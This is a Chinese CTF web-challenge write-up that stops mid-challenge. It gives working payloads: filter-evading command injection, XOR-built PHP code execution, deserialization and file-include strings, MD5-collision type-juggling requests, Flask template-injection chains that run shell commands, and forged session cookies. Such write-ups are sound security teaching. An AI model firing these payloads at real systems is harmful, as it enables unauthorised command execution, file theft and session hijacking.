WEB方向第三次面试

发布于 2023-03-07  582 次阅读


getflag

 <?php
//can you get the flag.txt?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;| |.*c.*a.*t.*|[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}?> 
  • 刚开始没有注意到过滤了空格,导致所有语句都没有反应😭
  • 先全盘扫一下文件
?c=find${IFS}/
  • 然后搜索一下flag,发现有俩,一个/flag,一个/hhh/ggg/flag.txt,明显在藏着的那个目录吧

img

  • 最后vim读一下就行,vim没过滤,哦,vim没过滤,但是用不了,可以用nl,成功得到flag
?c=nl${IFS}/hhh/ggg/flag.txt

h5

  • js游戏看过不少了,但是植物大战僵尸还是第一次看到,说不定可以把游戏打通呢(后来事实证明不行)

img

  • 审计js代码,搜索关键字 胜利 找到了获胜后的处理逻辑
else if (g.state === g.state_PLANTWON) { // 玩家胜利
      // 绘制场景
      g.drawBg()
      // 绘制小汽车
      g.drawCars()
      // 绘制植物卡片
      g.drawCards()
      // 绘制玩家胜利画面
      g.drawPlantWon()
      // 清除全局生成阳光定时器
      _main.clearTiemr()
  • 分别检查了这几个函数,都没有找到flag
  • 在翻找的过程中发现了一段jsfuck
[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![][])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+([]+[])[(![]+[])[+[]]+(!![]+[][![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]]+((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]++[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+(![]+[])[+[]]+[!+[]+!+[]+!+[]+!++!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]++[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(![]+[])[+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!++!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!++!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+[!+[]+!++!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(![]+[])[+!+[]]+(![][])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]](!![]+[])[+[]]+([][[]]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[+!+[]]+[!+[]+!+[+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]++[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!++!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+([]+[])[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]++[]]+[+[]]+(+[![]]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[+[]][!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!++!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[+[]]+[+!+[]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!++!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!++!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]++[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[+!+[]+!+[]]+[!+[]+!+[]+!+[]])[(![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]](!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([[(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![][])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(!+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]](![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[](![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[][+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(![]+[])[!+[]+!+[]]+([!]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]]((!![]+[])[+[]])[([][(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+![]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]+!+[]+!+[]]]()+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(![]+[])[+[]]])[+!+[]+[+[]]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]](([][(![]+[])[+[]]+(![]+[][!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[)[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([[[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[][+!+[]]+([][[]]+[])[+!+[]]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+([]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]](!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]]+![]+(![]+[+[]])[([![]]+[[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([[(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!++!+[]+!+[]]]()[+!+[]+[+[]]])()[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]((![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]][][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[![]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]])+[])[+!+[]])+([]+[])[(![]+[])[+[]]+(!![]+[](![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]])(

img

  • 放到控制台运行得到
"alert('你真的了解base64吗ZmxhZ3=tlYXN5X2pzX1R2VH0=');"
  • base64解码得到flag=easy_js_TvT,试了半天,最后发现是flag{easy_js_TvT},6

ezrce

 <?php
highlight_file(__FILE__);
$shell = $_GET['shell'];
if(preg_match("/[A-Za-z0-9]+/",$shell)){
    die("no no no!");
}
@eval($shell);
?> 
  • 无字母数字的rce,老题目了
  • 上一份python脚本
def action(arg):
    s1=""
    s2=""
    for i in arg:
        f=open("res.txt","r")
        while True:
            t=f.readline()
            if t=="":
                break
            if t[0]==i:
                #print(i)
                s1+=t[2:5]
                s2+=t[6:9]
                break
        f.close()
    output="(\""+s1+"\"^\""+s2+"\")"
    return(output)

while True:
    param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
    print(param)
  • 脚本需要字典,再来一个生成字典的php脚本
<?php
    $myfile = fopen("res.txt", "w");
    $contents="";
    for ($i=0; $i < 256; $i++) { 
      for ($j=0; $j <256 ; $j++) { 

        if($i<16){
          $hex_i='0'.dechex($i);
        }
        else{
          $hex_i=dechex($i);
        }
        if($j<16){
          $hex_j='0'.dechex($j);
        }
        else{
          $hex_j=dechex($j);
        }
        $preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
              echo "";
        }

        else{
        $a='%'.$hex_i;
        $b='%'.$hex_j;
        $c=(urldecode($a)^urldecode($b));
        if (ord($c)>=32&ord($c)<=126) {
          $contents=$contents.$c." ".$a." ".$b."\n";
        }
      }

    }
    }
    fwrite($myfile,$contents);
    fclose($myfile);

利用语句为system和cat /flag,得到

("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")
("%03%01%08%00%00%06%0c%01%07"^"%60%60%7c%20%2f%60%60%60%60");

img

  • 传入得到flag
?shell=("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")
("%03%01%08%00%00%06%0c%01%07"^"%60%60%7c%20%2f%60%60%60%60");

easyIU

  • 看来是文件上传的题目,先看看源代码有没有什么不知道的前端验证,找到一个upload.php

img

  • 页面提示有文件泄露,但是之前群里说不能扫,那就试www.zip,robots.txt之类的简单的,成功在robots.txt下面找到一个php

img

  • 原来是一个反序列化的题目
<?php
highlight_file(__FILE__);
error_reporting(0);

class d0g3{

    public $username="user";
    public $passwd= "123456";
    public $key;

    public function __destruct(){
        if($this->username === "admin" && $this->passwd === "1145114"){
            if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$this->key))
                die();
            include($this->key);
        }
    }
}

$p = $_GET['p'];
unserialize($p);
?> 
  • 都是public,直接改了然后序列化
poc

<?php
highlight_file(__FILE__);
error_reporting(0);

class d0g3{

    public $username="admin";
    public $passwd= "1145114";
    public $key="/flag";

    public function __destruct(){
        if($this->username === "admin" && $this->passwd === "1145114"){
            if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$this->key))
                die();
            include($this->key);
        }
    }
}

$p=new d0g3;
echo serialize($p);
?> 
  • 得到?p=O:4:"d0g3":3:{s:8:"username";s:5:"admin";s:6:"passwd";s:7:"1145114";s:3:"key";s:5:"/flag";}

BlackMagic

 <?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if(strlen($_GET['a']) < 4 && $_GET['a'] > 100000)
{
    if(!is_numeric($_COOKIE['b']) && intval($_COOKIE['b']) === 114514)
    {
        if((string)$_POST['c1'] !== (string)$_POST['c2'] && md5($_POST['c1']) === md5($_POST['c2']))
        {
            if($_GET['i_love_Dog3 very.very.much'] == 1 && !preg_match("_", $_SERVER["QUERY_STRING"]))
            {
                echo $flag;
            }
        }
    }
}
  • 一个php tricks,要过4个if,一个一个来吧
  • 第一个老科学计数法了,传3e8,下面是本地测试
<?php
if(strlen($_GET['a']) < 4 && $_GET['a'] > 100000)echo 'a';
?>

img

  • 第二个也是老知识,强弱比较和类型转换,传个b=114514a就行,下面是本地测试(这里卡了一会儿,因为hackbar传cookie没有反应,气死了)
<?php
if(!is_numeric($_COOKIE['b']) && intval($_COOKIE['b']) === 114514)echo 'a';
?> 

img

(burpsuit可以)

img

(hackbar没反应)

  • 第三个之前遇到过类似的,是md5值弱类型比较,是利用php处理0e开头的字符串会把它当作0,不同字符串若md5值都是0e开头,在弱类型比较时就被视为相等
  • 但是这里是强类型比较,需要用到md5碰撞,网上找到两个md5强相等的字符串
%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af
%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af
%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
  • 本地测试一下(有了上面的教训,直接burp传)
<?php
if((string)$_POST['c1'] !== (string)$_POST['c2'] && md5($_POST['c1']) === md5($_POST['c2']))echo 'a';
?> 

img

(burp抓包后这两个个post字符串会发生改变,下面改回来)

img

  • 只差最后一个了,找了了一个讲php非法参数的网页https://blog.csdn.net/mochu7777777/article/details/115050295
  • 大概意思就是如果参数名有点或者空格这类非法字符,那么传参中的非法字符就会变成下划线,比如
$a=$GET_['i i'];

那么传参的时候该参数名就会被自动转变为:i_i
  • 非法字符转变成下划线,但是这并不意味着可以传入?i_i=xxx
  • 在上述情况下,[符号会被自动转换为下划线,同时会导致[符号右边的所有非法字符不会被自动转化为下划线,此时就可以直接传入非法参数名了,比如
$a=$GET_['_i i'];

传参的时候该参数名就会被自动转变为:i_i
但是无论传入?_i i还是传入?_i_i都不行

但是根据这里的结论可以传入?[i%20i
  • 同时$_SERVER["QUERY_STRING"]不能处理url编码,但是$_GET是可以处理的,那么用url编码就可以了
  • 那么本地测试一下
<?php
if($_GET['i_love_Dog3 very.very.much'] == 1 && !preg_match("_", $_SERVER["QUERY_STRING"]))echo 'a';
?>

img

(当然也可以把[放在第一位)

img

  • 最后汇总
POST /2.php?a=2e9&i%5Flove[Dog3%20very.very.much=1 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en;q=0.3,en-US;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 395
Origin: http://127.0.0.1
DNT: 1
Connection: close
Referer: http://127.0.0.1/2.php?a=2e9&i_love[Dog3_very_very_much
Cookie: b=114514a
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin

c1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18
%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&c2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%1
8%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

1zSSTI

  • 典型ssti
{{7*7}}得到49,是flask模板
  • 手动fuzz,过滤了一些关键字,比如os,global,主要就是os过滤了,得找一个带有['os']而不是('os')的利用链,网上找到一个https://www.cnblogs.com/Article-kelp/p/14797393.html
{{config.__class__.__init__.__globals__['os'].popen('type flag.txt').read()}}
  • 用中括号替换点就可以使用引号绕过关键字过滤了
{{config["__class__"]["__init__"]["__globals__"]["os"].popen("ls").read()}}
  • 引号绕过
{{config["__c"+"lass__"]["__ini"+"t__"]["__gl"+"obals__"]["o"+"s"].popen("cat /f*").read()}}

flask session

  • 这个比较好搜,感觉这类题目的解法比较单一:找密钥->解密cookie->重写cookie->加密cookie->传递伪造cookie
  • 界面和ssti那道题很像,试着传个xxx参数果然又有ssti,而且还有个xxx隐藏目录,要求xxxlover才能登入
  • 显然xxxlover就在cookie的session里面了,那么只需要找到密钥就可以了
{{config}}
  • 结果密钥在config里面
  • 用网上找到的脚本解密,成功拿到解密的session
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                        'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                            'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    print(decryption("eyJEMGczTG92ZXIiOjB9.ZALWrA.Kq9abW8uFCOVW_Dp46Fq3ymxXlk".encode()))
python decode.py
  • 得到{'xxxLover': 0},字符串的值是0,那么改为1重新加密就可以了
  • 下面是加密脚本
#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else: # > 3.4
    from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key

if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e

        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else: # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e

        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e

if __name__ == "__main__":
    # Args are only relevant for __main__ usage

    ## Description for help
    parser = argparse.ArgumentParser(
                description='Flask Session Cookie Decoder/Encoder',
                epilog="Author : Wilson Sumanang, Alexandre ZANNI")

    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                                help='Session cookie structure', required=True)

    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                                help='Session cookie value', required=True)

    ## get args
    args = parser.parse_args()

    ## find the option chosen
    if(args.subcommand == 'encode'):
        if(args.secret_key is not None and args.cookie_structure is not None):
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif(args.subcommand == 'decode'):
        if(args.secret_key is not None and args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value,args.secret_key))
        elif(args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value))
python encode.py encode -t "xxx" -s "xxx"
  • 最后cookie传入加密后的session,成功获取flag

easyser

  • 提示有文件泄露,robots.txt找到star1.php

img

  • 这里有个iframe,明显是ssrf

img

  • 源码里面有一个ser.php,利用ssrf访问这个php

img

  • 得到源码,一个简单的反序列化
<?php

error_reporting(0);
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
    highlight_file(__FILE__);
}
$flag='{flag:"D0g3{There_is_no_real_flag_but_there_is_always_a_fake_flag}"}';

class A{
    public $k;
    public function __construct(){
        $this->k = new c;
    }
    public function __toString(){
        if (isset($this->k)){
            return $this->k->waf();
        }else{
            return "坐大牢";
        }
    }
}
class B{ //flag.php
    public $file;
    public $text;
    public function __construct($file='',$text='') {
        $this -> file = $file;
        $this -> text = $text;

    }
    public function waf(){
